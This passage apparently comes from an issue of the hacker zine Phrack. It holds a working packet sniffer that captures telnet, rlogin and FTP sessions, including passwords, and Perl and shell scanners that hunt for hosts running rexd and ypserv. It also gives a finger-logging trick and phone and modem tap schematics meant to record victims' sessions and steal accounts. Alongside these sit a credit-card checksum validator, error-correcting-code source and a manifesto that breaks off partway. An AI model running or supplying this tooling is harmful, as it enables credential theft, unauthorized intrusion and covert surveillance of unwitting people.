CLtmp‑>Length = MIN(LEN,MAXBUFLEN); \

bcopy( (u_char *)DATA, (u_char *)CLtmp‑>Data, CLtmp‑>Length); \ CLtmp‑>PKcnt = 1; \

CLtmp‑>Next = CLroot; \

CLtmp‑>Last = NULL; \

CLroot = CLtmp; \

}

register struct CREC *GET_NODE(Sip,SP,Dip,DP)

register struct in_addr Sip,Dip;

register u_int SP,DP;

{ register struct CREC *CLr = CLroot;

while(CLr != NULL) {

if( (CLr‑>SRCport == SP) && (CLr‑>DSTport == DP) && IPeq(CLr‑>SRCip,Sip) && IPeq(CLr‑>DSTip,Dip) ) break;

CLr = CLr‑>Next;

}

return(CLr);

}

#define ADDDATA_NODE(CL,DATA,LEN) { \

bcopy((u_char *)DATA, (u_char *)&CL‑>Data[CL‑>Length],LEN); \ CL‑>Length += LEN; \

}

#define PR_DATA(dp,ln) { \

register u_char lastc=0; \

while(ln‑‑ >0) { \

if(*dp < 32) { \

switch(*dp) { \

case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \ break; \

case '\r': \

case '\n': fprintf(LOG,"\n : "); \ break; \

default : fprintf(LOG,"^%c", (*dp + 64)); \ break; \

} \

} else { \

if(isprint(*dp)) fputc(*dp,LOG); \

else fprintf(LOG,"(%d)",*dp); \

} \

lastc = *dp++; \

} \

fflush(LOG); \

}

void END_NODE(CLe,d,dl,msg)

register struct CREC *CLe;

register u_char *d;

register int dl;

register char *msg;

{

fprintf(LOG,"\n‑‑ TCP/IP LOG ‑‑ TM: %s ‑‑\n", Ptm(&CLe‑>Time)); fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe‑>SRCip),SERVp(CLe‑>SRCport)); fprintf(LOG," %s(%s)\n", Symaddr(CLe‑>DSTip),SERVp(CLe‑>DSTport)); fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n", NOWtm(),CLe‑>PKcnt,(CLe‑>Length+dl),msg); fprintf(LOG," DATA: ");

{ register u_int i = CLe‑>Length;

register u_char *p = CLe‑>Data;

PR_DATA(p,i);

PR_DATA(d,dl);

}

fprintf(LOG,"\n‑‑ \n");

fflush(LOG);

if(CLe‑>Next != NULL)

CLe‑>Next‑>Last = CLe‑>Last;

if(CLe‑>Last != NULL)

CLe‑>Last‑>Next = CLe‑>Next;

else

CLroot = CLe‑>Next;

free(CLe);

}

/* 30 mins (x 60 seconds) */

#define IDLE_TIMEOUT 1800

#define IDLE_NODE() { \

time_t tm; \

time(&tm); \

if(LastTIME<tm) { \

register struct CREC *CLe,*CLt = CLroot; \ LastTIME=(tm+IDLE_TIMEOUT); tm‑=IDLE_TIMEOUT; \ while(CLe=CLt) { \

CLt=CLe‑>Next; \

if(CLe‑>Time <tm) \

END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \ } \

} \

}

void filter(cp, pktlen)

register char *cp;

register u_int pktlen;

{

register struct ip *ip;

register struct tcphdr *tcph;

{ register u_short EtherType=ntohs(((struct ether_header *)cp)‑>ether_type);

if(EtherType < 0x600) {

EtherType = *(u_short *)(cp + SZETH + 6);

cp+=8; pktlen‑=8;

}

if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */

return;

}

/* ugh, gotta do an alignment :‑( */

bcopy(cp + SZETH, (char *)Packet,(int)(pktlen ‑ SZETH));

ip = (struct ip *)Packet;

if( ip‑>ip_p != IPPROTO_TCP) /* chuk non tcp pkts */

return;

tcph = (struct tcphdr *)(Packet + IPHLEN);

if(!( (TCPD == IPPORT_TELNET) ||

(TCPD == IPPORT_LOGINSERVER) ||

(TCPD == IPPORT_FTP)

)) return;

{ register struct CREC *CLm;

register int length = ((IPLEN ‑ (IPHLEN * 4)) ‑ (TCPOFF * 4)); register u_char *p = (u_char *)Packet;

p += ((IPHLEN * 4) + (TCPOFF * 4));

if(debug) {

fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph‑>th_flags),length); fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS)); fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));

}

if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {

CLm‑>PKcnt++;

if(length>0)

if( (CLm‑>Length + length) < MAXBUFLEN ) { ADDDATA_NODE( CLm, p,length);

} else {

END_NODE( CLm, p,length, "DATA LIMIT");

}

if(TCPFL(TH_FIN|TH_RST)) {

END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" ); }

} else {

if(TCPFL(TH_SYN)) { ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);

}

}

IDLE_NODE();

}

}

/* signal handler

*/

void death()

{ register struct CREC *CLe;

while(CLe=CLroot)

END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");

fprintf(LOG,"\nLog ended at => %s\n",NOWtm()); fflush(LOG);

if(LOG != stdout)

fclose(LOG);

exit(1);

}

/* opens network interface, performs ioctls and reads from it,

* passing data to filter function

*/

void do_it()

{

int cc;

char *buf;

u_short sp_ts_len;

if(!(buf=malloc(CHUNKSIZE)))

Pexit(1,"Eth: malloc");

/* this /dev/nit initialization code pinched from etherfind */

{

struct strioctl si;

struct ifreq ifr;

struct timeval timeout;

u_int chunksize = CHUNKSIZE;

u_long if_flags = NI_PROMISC;

if((if_fd = open(NIT_DEV, O_RDONLY)) < 0) Pexit(1,"Eth: nit open");

if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0) Pexit(1,"Eth: ioctl (I_SRDOPT)");

si.ic_timout = INFTIM;

if(ioctl(if_fd, I_PUSH, "nbuf") < 0)

Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");

timeout.tv_sec = 1;

timeout.tv_usec = 0;

si.ic_cmd = NIOCSTIME;

si.ic_len = sizeof(timeout);

si.ic_dp = (char *)&timeout;

if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");

si.ic_cmd = NIOCSCHUNK;

si.ic_len = sizeof(chunksize);

si.ic_dp = (char *)&chunksize;

if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");

strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name)); ifr.ifr_name[sizeof(ifr.ifr_name) ‑ 1] = '\0';

si.ic_cmd = NIOCBIND;

si.ic_len = sizeof(ifr);

si.ic_dp = (char *)&ifr;

if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");

si.ic_cmd = NIOCSFLAGS;

si.ic_len = sizeof(if_flags);

si.ic_dp = (char *)&if_flags;

if(ioctl(if_fd, I_STR, (char *)&si) < 0) Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");

if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0) Pexit(1,"Eth: ioctl (I_FLUSH)");

}

while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) { register char *bp = buf,

*bufstop = (buf + cc);

while (bp < bufstop) {

register char *cp = bp;

register struct nit_bufhdr *hdrp;

hdrp = (struct nit_bufhdr *)cp;

cp += sizeof(struct nit_bufhdr);

bp += hdrp‑>nhb_totlen;

filter(cp, (u_long)hdrp‑>nhb_msglen);

}

}

Pexit((‑1),"Eth: read");

}

/* Authorize your proogie,generate your own password and uncomment here */

/* #define AUTHPASSWD "EloiZgZejWyms" */

void getauth()

{ char *buf,*getpass(),*crypt();

char pwd[21],prmpt[81];

strcpy(pwd,AUTHPASSWD);

sprintf(prmpt,"(%s)UP? ",ProgName);

buf=getpass(prmpt);

if(strcmp(pwd,crypt(buf,pwd)))

exit(1);

}

*/

void main(argc, argv)

int argc;

char **argv;

{

char cbuf[BUFSIZ];

struct ifconf ifc;

int s,

ac=1,

backg=0;

ProgName=argv[0];

/* getauth(); */

LOG=NULL;

device=NULL;

while((ac<argc) && (argv[ac][0] == '‑')) {

register char ch = argv[ac++][1]; switch(toupper(ch)) {

case 'I': device=argv[ac++]; break;

case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a"))) Zexit(1,"Output file cant be opened\n"); break;

case 'B': backg=1;

break;

case 'D': debug=1;

break;

default : fprintf(ERR, "Usage: %s [‑b] [‑d] [‑i interface] [‑f file]\n", ProgName); exit(1);

}

}

if(!device) {

if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0) Pexit(1,"Eth: socket");

ifc.ifc_len = sizeof(cbuf);

ifc.ifc_buf = cbuf;

if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0) Pexit(1,"Eth: ioctl");

close(s);

device = ifc.ifc_req‑>ifr_name;

}

fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV); fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout", (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");

if(!LOG)

LOG=stdout;

signal(SIGINT, death);

signal(SIGTERM,death);

signal(SIGKILL,death);

signal(SIGQUIT,death);

if(backg && debug) {

fprintf(ERR,"[Cannot bg with debug on]\n"); backg=0;

}

if(backg) {

register int s;

if((s=fork())>0) {

fprintf(ERR,"[pid %d]\n",s);

exit(0);

} else if(s<0)

Pexit(1,"fork");

if( (s=open("/dev/tty",O_RDWR))>0 ) { ioctl(s,TIOCNOTTY,(char *)NULL); close(s);

}

}

fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid()); fflush(LOG);

do_it();

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#! /bin/nawk ‑f

# validcc.awk ‑ validate credit card #

{

# validate CardNo

number=""

CardNo = $0

for (indig = 1; indig <= length(CardNo); indig++) {

dig = substr(CardNo, indig, 1)

if (dig ~ /^[0‑9]$/)

number = number dig

else if (dig != " ") {

print "bad character in CardNo" | "cat >&2"

break

}

}

digit1 = substr(number, 1, 1)

cclen = length(number)

if (digit1 == "3") {

print "Sorry, we do not take American Express" | "cat >&2"

# if (cclen != 15)

# print "wrong length for CardNo" | "cat >&2"

} else if (digit1 == "4") { # visa

if (cclen != 13 && cclen != 16)

print "wrong length for CardNo" | "cat >&2"

} else if (digit1 == "5") { # master card

if (cclen != 16)

print "wrong length for CardNo" | "cat >&2"

} else

print "unknown credit card" | "cat >&2"

if (cclen == 13)

bias = 0

else

bias = 1

for (llen = 1; llen <= cclen; llen++) {

cdigit = digit = substr(number, llen, 1)

if (((llen‑1+bias)%2) == 1) # double every second digit cdigit *= 2

if (cdigit > 9)

cdigit ‑= 9 # compensate ...

csum += cdigit # ... add up all the digits

}

if ((csum%10) != 0)

print "bad CardNo" | "cat >&2"

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* File: bch2.c

====== Encoder/Decoder of binary primitive BCH codes ======

Robert Morelos‑Zaragoza, University of Hawaii 5/19/92

This program computes the generator polynomial of the code by using cycle sets modulo n, n = 2^m ‑ 1.

(Part of this program is adapted from a Reed‑Solomon encoder/decoder program, 'rs.c', for the binary case. rs.c was created by Simon Rockliff, University of Adelaide 21/9/89)

Main variables:

m = order of the field GF(2**m)

n = 2**m ‑ 1 = length

t = error correcting capability

d = 2*t + 1 = designed minimum distance

k = n ‑ deg(g(x)) = dimension

p[] = primitive polynomial to generate GF(2**m)

(read from least to most significant coefficient)

g[] = generator polynomial

alpha_to [] = log table in GF(2**m)

index_of[] = antilog table in GF(2**m)

data[] = data polynomial

bb[] = redundancy polynomial = x**(n‑k) data[] modulo g[]

numerr = number of errors

errpos[] = error positions

recd[] = received polynomial

decerror = number of decoding errors ( in MESSAGE positions)

*/

#include <math.h>

#include <stdio.h>

int m, n, k, t, d ;

int p [20] ; /* irreducible polynomial */

int alpha_to [1024], index_of [1024], g [1024] ;

int recd [1024], data [1024], bb [1024] ;

int numerr, errpos [1024], decerror = 0 ;

int seed;

void read_p()

/* Read primitive polynomial of degree m */

{

register int i;

printf("Enter m and primitive polynomial p(x): "); scanf("%d", &m); for (i=0; i<=m; i++)

scanf("%d", &p[i]);

printf("p(x) = ");

for (i=0; i<=m; i++)

printf("%1d", p[i]);

printf("\n");

n = (int)(pow(2.0,(double) m)) ‑ 1;

}

void generate_gf()

/* generate GF(2**m) from the irreducible polynomial p(X) in p[0]..p[m]

lookup tables: index‑>polynomial form alpha_to[] contains j=alpha**i; polynomial form ‑> index form index_of[j=alpha**i] = i alpha=2 is the primitive element of GF(2**m)

*/

{

register int i, mask ;

mask = 1 ;

alpha_to[m] = 0 ;

for (i=0; i<m; i++)

{ alpha_to[i] = mask ;

index_of[alpha_to[i]] = i ;

if (p[i]!=0)

alpha_to[m] ^= mask ;

mask <<= 1 ;

}

index_of[alpha_to[m]] = m ;

mask >>= 1 ;

for (i=m+1; i<n; i++)

{ if (alpha_to[i‑1] >= mask)

alpha_to[i] = alpha_to[m] ^ ((alpha_to[i‑1]^mask)<<1) ; else alpha_to[i] = alpha_to[i‑1]<<1 ; index_of[alpha_to[i]] = i ;

}

index_of[0] = ‑1 ;

}

void gen_poly()

/* Compute generator polynomial of BCH code of length n=2^m ‑ 1 */

{

register int ii, jj, ll, kaux;

int test, aux, nocycles, root, noterms, rdncy;

int cycle[256][11], size[256], min[128], zeros[256];

/* Generate cycle sets modulo n, n = 2^m ‑ 1 */

cycle[0][0] = 0; size[0] = 1;

cycle[1][0] = 1; size[1] = 1;

jj = 1; /* cycle set index */

printf("Computing cycle sets modulo %d ...\n", n);

do

{

/* Generate the jj‑th cycle set */

ii = 0;

do

{

ii++;

cycle[jj][ii] = (cycle[jj][ii‑1]*2) % n; size[jj]++;

aux = (cycle[jj][ii]*2) % n;

} while ( aux != cycle[jj][0] );

printf(" %d ", jj);

if (jj && ( (jj % 10) == 0)) printf("\n");

/* Next cycle set representative */

ll = 0;

do

{

ll++;

test = 0;

for (ii=1; ((ii<=jj) && (!test)); ii++)/* Examine previous cycle

sets */

for (kaux=0; ((kaux<size[ii]) && (!test)); kaux++) if (ll == cycle[ii][kaux]) test = 1;

} while ( (test) && (ll<(n‑1)) );

if (!(test))

{

jj++; /* next cycle set index */

cycle[jj][0] = ll;

size[jj] = 1;

}

} while (ll < (n‑1));

printf(" ... Done\n");

nocycles = jj; /* number of cycle sets modulo n */

#ifdef DEBUG

printf("Cycle sets modulo %d:\n", n);

for (ii=0; ii<=nocycles; ii++) {

for (jj=0; jj<size[ii]; jj++)

printf("%d ",cycle[ii][jj]);

printf("\n"); }

#endif

printf("Enter t: "); scanf("%d", &t);

d = 2*t+1;

/* Search for roots 1, 2, ..., d‑1 in cycle sets */

kaux = 0;

rdncy = 0;

for (ii=1; ii<=nocycles; ii++)

{

min[kaux] = 0;

for (jj=0; jj<size[ii]; jj++)

for (root=1; root<d; root++)

if (root == cycle[ii][jj])

min[kaux] = ii;

if (min[kaux])

{

rdncy += size[min[kaux]];

kaux++;

}

}

noterms = kaux;

#ifdef DEBUG

printf("roots: ", noterms);

#endif

kaux = 1;

for (ii=0; ii<noterms; ii++)

for (jj=0; jj<size[min[ii]]; jj++)

{

zeros[kaux] = cycle[min[ii]][jj];

#ifdef DEBUG

printf("%d ", zeros[kaux]);

#endif

kaux++;

}

k = n ‑ rdncy;

printf("This is a (%d, %d, %d) binary BCH code\n", n, k, d);

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#!/bin/perl ‑s

#

# Scan a subnet for valid hosts; if given hostname, will look at the # 255 possible hosts on that net. Report if host is running rexd or # ypserv.

#

# Usage: scan n.n.n.n

# mine, by default

$default = "130.80.26";

$| = 1;

if ($v) { $verbose = 1; }

if ($#ARGV == ‑1) { $root = $default; }

else { $root = $ARGV[0]; }

# ip address

if ($root !~ /[0‑9]+\.[0‑9]+\.[0‑9]+/) {

($na, $ad, $ty, $le, @host_ip) = gethostbyname($root); ($one,$two,$three,$four) = unpack('C4',$host_ip[0]); $root = "$one.$two.$three";

if ($root eq "..") { die "Can't figure out what to scan...\n"; } }

print "Subnet $root:\n" if $verbose;

for $i (01..255) {

print "Trying $root.$i\t=> " if $verbose;

&resolve("$root.$i");

}

#

# Do the work

#

sub resolve {

local($name) = @_;

# ip address

if ($name =~ /[0‑9]+\.[0‑9]+\.[0‑9]+\.[0‑9]+/) { ($a,$b,$c,$d) = split(/\./, $name);

@ip = ($a,$b,$c,$d);

($name) = gethostbyaddr(pack("C4", @ip), &AF_INET); }

else {

($name, $aliases, $type, $len, @ip) = gethostbyname($name); ($a,$b,$c,$d) = unpack('C4',$ip[0]);

}

if ($name && @ip) {

print "$a.$b.$c.$d\t$name\n";

system("if ping $name 5 > /dev/null ; then\nif rpcinfo ‑u $name 100005 > /dev/null ; then showmount ‑e $name\nfi\nif rpcinfo ‑t $name 100017 > /dev/null ; then echo \"Running rexd.\"\nfi\nif rpcinfo ‑u $name 100004 > /dev/null ; then echo \"R unning ypserv.\"\nfi\nfi");

}

else { print "unable to resolve address\n" if $verbose; }

}

sub AF_INET {2;}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#!/bin/sh

#rpc.chk 1.0

#

# Make sure you have got a newer version of Bourne Shell (SVR2 or newer) # that supports functions. It's usually located in /bin/sh5 (under ULTRIX OS) # or /bin/sh (Sun OS, RS/6000 etc) If it's located elsewhere, feel free to # change the magic number, indicating the type of executable Bourne Shell. #

# The script obtains via nslookup utility a list of hostnames from a nameserver # and checks every entry of the list for active rexd procedures as well as # ypserver procedures. The output is a list of the sites that run those # daemons and are insecure.

# ‑yo.

domainname=$1

umask 022

PATH=/bin:/usr/bin:/usr/ucb:/usr/etc:/usr/local/bin ; export PATH

#

# Function collects a list of sites

# from a nameserver. Make sure you've got the nslookup utility.

#

get_list() {

(

echo set type=ns

echo $domainname

) | nslookup | egrep "nameserv" | cut ‑d= ‑f2> .tmp$$ 2>/dev/null if [ ! ‑s .tmp$$ ]; then

echo "No such domain" >&2

echo "Nothing to scan" >&2

exit 1

fi

for serv in `cat .tmp$$`;do

(

echo server $serv

echo ls $domainname

) | nslookup > .file$$ 2>/dev/null

lines=`cat .file$$ | wc ‑l`

tail ‑`expr $lines ‑ 7` .file$$ | cut ‑d" " ‑f2 > .file.tmp # .file sed ‑e "s/$/.$domainname/" .file.tmp > .hosts$$

rm ‑rf .file* .tmp$$

sort .hosts$$ | uniq ‑q >> HOSTS$$; rm ‑rf .hosts$$

done

tr 'A‑Z' 'a‑z' <HOSTS$$ |sort|uniq ‑q > HOSTS.$domainname;rm ‑rf HOSTS$$ }

# Function

rpc_calls()

{

for entry in `cat HOSTS.$domainname`; do

(

rpcinfo ‑t $entry ypserv >/dev/null && echo $entry runs YPSERV || exit 1 # Error! ) >> .log 2>/dev/null

(

rpcinfo ‑t $entry rex >/dev/null && echo $entry runs REXD || exit 1 # Error ! ) >> .log 2>/dev/null

done

}

# Main

if [ "$domainname" = '' ]; then

echo "Usage $0 domainname" >&2

exit 1

fi

get_list

echo "Checking $domainname domain" > .log

echo "*****************************" >> .log

echo "Totally `cat HOSTS.$domainname | wc ‑l` sites to scan" >> .log

echo "******************************" >> .log

echo "started at `date`" >> .log

echo "******************************" >> .log

rpc_calls

echo "******************************" >> .log

echo "finished at `date`" >> .log

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Ultimate Finger/Mail Hack

by

Emanon

(a.k.a. WinterHawk)

This program will keep a log of who fingers you on your local host and tell you when the finger was performed. As an added tease, it will send email to the person doing the fingering telling them that you know who they are and you know when they fingered you, even when you are not logged on.

Easy to follow steps:

[This is a comment]

[ALL OF THE FOLLOWING FILES ARE TO GO IN YOUR HOME DIRECTORY!!!]

[Get to your home directory]

% cd

[Make a file called .mailscript and include the following source code] [MAKE THE APPROPRIATE CHANGES TO PATH NAMES WHERE NECESSARY!!!]

% cat .mailscript

#!bin/sh

MYNAME=your_account_name # JUST YOUR LOCAL ACCOUNT NAME, NOT THE FULL ADDRESS!!! HOME=/your/full/home/path/goes/here

SUCKER=`ps ‑fau | grep 'finger $MYNAME' | grep ‑v 'grep' | awk '{print $1}'` echo "$SUCKER fingered you on `date`" | cat >> $HOME/.fingerlog echo "$MYNAME knows that you fingered him on `date`" | mail ‑s 'Sucker!' $SUCKER

[On some systems, the `u' flag is not necessary for the `ps' command] [On most systems, you will not have to (re)declare the $HOME variable] [If you do not want the fingerer to receive email, remove the last line] [You may wish to hard code your account name, rather than using the variable]

[Make a file called fingerLog.c and include the following source code] [MAKE THE APPROPRIATE CHANGES TO PATH NAMES WHERE NECESSARY!!!]

% cat fingerLog.c

#include <stdio.h>

#include <sys/file.h>

main()

{

int x, pipeHandle, planHandle;

char * pipeFile = "/your/full/home/path/goes/here/.plan"; char * planFile = "/your/full/home/path/goes/here/.realplan"; char buf[1024];

for(;;){

pipeHandle=open(pipeFile,O_WRONLY); planHandle=open(planFile,O_RDONLY); while((x=read(planHandle,buf,sizeof(buf)))>0) write(pipeHandle,buf,x);

system("sh /your/full/home/path/goes/here/.mailscript"); close(pipeHandle);

close(planHandle);

sleep(3);}

}

[Compile the fingerLog.c program]

% cc fingerLog.c ‑o fingerLog

[You may want to use a more inconspicuous name for the executable file]

[Move you .plan file to .realplan]

% mv .plan .realplan

[Make a piped FIFO .plan file]

% mknod .plan p

[Allow people to view your bogus .plan file]

% chmod 755 .plan

[Run fingerLog in the background]

% nohup fingerLog > /dev/null &

[Optional clean up]

% rm fingerLog.c

PROBLEMS: On some machines, the [ps ‑fau] option will not reveal what account a person is actually fingering. In this case, you can remove all instances of the $MYNAME variable from the [.mailscript] file. However, it is entirely possible that two people may be performing a finger at the same time and the script may log the wrong one. If you do have to omit the $MYNAME variable, I strongly suggest that you also remove the email option. And, you might as well change the [ps] command to a simple [w], like so:

SUCKER=`w | grep 'finger' | grep ‑v 'grep' | awk '{print $1}'`

Also, if the system you are on is bogged down with a lot of processes, the script may not find the fingerer before the process is terminated, thus logging the time without an appropriate account name, and not sending the email. So far, there has only been one system where I could only use the program to log the times that I had been fingered, no account names and no email :(

That's It! Of course, this is not a perfect bug free program. It should run all the time [even when you are not logged on] so you only need to run it once. If it does quit for some reason [like when the sysop kills it], you can simply restart it. For those of you privileged enough to be using Korn shell, you can add the following code to your [.profile] that will check to see if fingerLog is running whenever you log in. If it isn't, it will restart it for you. I'm sure that this can be modified to work with Bourne and C shell (if it doesn't already), but I'll leave that up to you.

ps x | grep 'fingerLog' | grep ‑v 'grep' > /dev/null

if (( $? != 0 )); then nohup fingerLog > /dev/null &

fi

Let me say this one more time so that there is no confusion, "This only works on your LOCAL host!!!" People who finger you from a remote host will see your [.realplan] file, just like everyone else, but they will *NOT* receive the email. It will appear in your .fingerlog as an empty account name. If and when someone does revise this to work with remote hosts (most likely using the netstat command), please email me a copy at:

tdavis@garnet.acns.fsu.edu

As a matter of fact, there is a lot of room for improvement. If *ANYONE* makes *ANY* revisions, please have the courtesy to email me a copy and explain what changes you have made. Thanks. Enjoy!

Assembly: WinterHawk bows humbly to Cat and Fuzz.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Building A Modem Tap | | by: phigan |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Many of you have probably heard of, seen, or maybe even built a phone tap. Not a very difficult device to make. I got the idea of making a modem tap from a computer underground book that I saw over at my local Spy Headquarters (I'm not sure if this is a store that is only here in 602 or not but its got shitloads of spy equipment such as video surveillance, fake ids, useful literature, fake bombs, very small bugs, etc.). First of all, here is the schematic for making a phone tap to record to cassette.

Parts

~~~~~

1) RCA‑type jack

to tape recorder

mic input

1) 10k(p)ohm : 20k(s) ohm

transformer

1) .005 mfd capacitor

Schematic

~~~~~~~~~

To line

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ |

| | |

(+‑‑‑‑‑‑‑‑‑‑‑+ | |

RCA | Transformer | | |

jack +^^^^^^^^^^^^^+ |

+‑‑‑‑‑‑‑‑‑‑‑‑‑+ |

| | |

| +‑‑‑‑‑‑‑‑‑‑‑‑

| |

+‑‑‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑+

.005 mfd | |

The main purpose for a modem tap such as this is to set it up at someone's house or maybe an office building that you know dials out with modems and you can record all the keystrokes that have been entered. With this next schematic, you can simply play the cassette back through your modem and easily print out the entire session having logged passwords and so on. Good way of getting CBI accounts also.

Parts

~~~~~

1) RCA type jack

from tape recorder

ext. speaker

1) 100 Ohm restistor

1) bell‑type phone jack (@)

Schematic

~~~~~~~~~

+‑‑‑‑‑‑‑+ ____________________RCA jack

‑‑‑‑| Modem | @‑‑‑‑<_________/\/\/\_____>(+

+‑‑‑‑‑‑‑+ phone 100 Ohm

jack

When you have a recording of your victim's session, simply fire up your terminal program and treat it as you would any other modem connection. If you are smart enough, you may even be able to combine these two and make an acoustic modem module for a regular laptop modem (hint hint payphones hint hint). I have seen this done in a mail‑order mag.

It said that the acoustic module could handle 9600 baud and if you have good

enough rubber cups (like they did on their model) then you will have absolutely no line noise. Anyway, if you have any problems, feel free to email me at 15660@ef.gc.maricopa.edu or you may find me on IRC as phigan on channels #phreak, #hack, or sometimes #c‑64.

,,,

(o o) .‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑oOO‑‑‑(_)‑‑‑OOo‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

| PHiGAN/6o2 IBM/Amiga/8‑Bit |

| ANSi/VGA/Coding Member: NWPAC |

| Hi‑Res/8‑Bit/Musix SysOp: |

| 15660@ef.gc.maricopa.edu ‑The PhAcS Machine |

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phone Tapping with a personal stereo !!! brought to you by

Harlequin

Here in the UK, we have a reasonably secure phone system, mainly because the whole system is run by our beloved phone company British Telecom, even the private phone companies have to rent their lines off BT.

BUT, due to something or other I don't entirely understand here's how to listen in to phone conversations with a personal stereo.

I was lying in bed one night trying desperately to read my book, while everyone else was making enough noise to wake the dead. So, I thought, I'll put personal stereo radio onto some radio crackle to cut out everything else. I was happily reading for a while when suddenly the radio crackle was interrupted by 'ring ring, ring ring, 'ello Jon, going into work tomorrow ? Good, how's the wife.... etc etc' Fuck me ! A telephone conversation. After a bit of investigating I discovered my bed lies next to where the telephone line goes thru the wall.

What I did was to tune the radio into an AM frequency, as far to the right (past 1600 kHz) as possible. This works on my personal stereo, a Sharp, model JC‑512(GY), my clock radio and my mates pocket radio, but not on some other radios we've tried. It picks up local telephone calls (if there are any strong enough to be picked up) when the radio is put near a telephone socket or line (the closer the better). Computer monitors and TV's give loads of interference (try putting your the radio near one when tuned to listen for phones) so keep away from them.

You can't choose what calls to listen in on, and some may be blurred beyond recognition, while others are crystal clear. Also, strangely enough if someone in the house uses the phone while your listening to conversations it doesn't effect it in any way, and you can't hear the call currently on the line.

Not being an electronics hacker I can only assume it is to do with the frequency of radio waves given off by electrical devices after a certain distance travelled. But then again maybe not.

This may work in other places apart from the UK as well, give it a

Line Noise Part III

==Phrack Magazine==

Volume Five, Issue Forty‑Five, File 6 of 28

// // /\

// // //\\

==== // // \\

/\ // // \\ /

//\\ // // // //

// \\/ \\ // //

PART III

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

** SUBMISSIONS WANTED ON THE FOLLOWING TOPICS FOR FUTURE ISSUES **

Cable Television Descrambling

PBX Data Terminal Files

Van Eck Eavesdroping

Security & Anti‑Security Measures (Computers, Networks, Physical Sites) Satellite Transmissions (Audio, Video, DATA, Telecommunications) Amateur Radio & Television

Radio Modification Instructions

Electronics Project Schematics

X.25 Networking / X.29 Pad Control

Digital Cellular (GSM/TDMA/CDMA)

Wireless Data Networking (LAN, WAN)

** REMEMBER: Send your university dialups to phrack@well.com ASAP! **

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A Declaration of the Complaints and Grievances of the United States Electronic Community ‑‑

"They that can give up essential liberty for a little temporary safety deserve neither liberty nor safety!" These are Benjamin Franklin's words for one of the most important values defining American Government in it's infancy. This idea, that people should be given as much freedom as possible, and also responsibility for what problems abuse of that freedom might bring, is one of the most important differences between our so called "Democracy," and a totalitarian despotism. In fact, this value is so essential that if it is lost there will be no freedom in the United States of America, and no so called "Democracy!" Despite this fact, every day more and more of our freedoms, as citizens and residents of the United States of America, are being eroded away in the name of safety for us and for our government. This erosion of rights and freedoms has touched all areas of our lives, from health care and economics, to criminal justice and national defense. However, the most profound and dangerous erosion has been in the area of technology. We believe this is as good a place as any to begin a fight to save our country from continuing to travel down the road to despotism. Do not forget that this is only a beginning. We, the people of the Electronic Community in the United States of America, have been openly repressed and attacked by all branches and divisions of the United States Government, in direct violation of our natural rights and rights granted to us via social contract! The Electronic Community is one of the world's 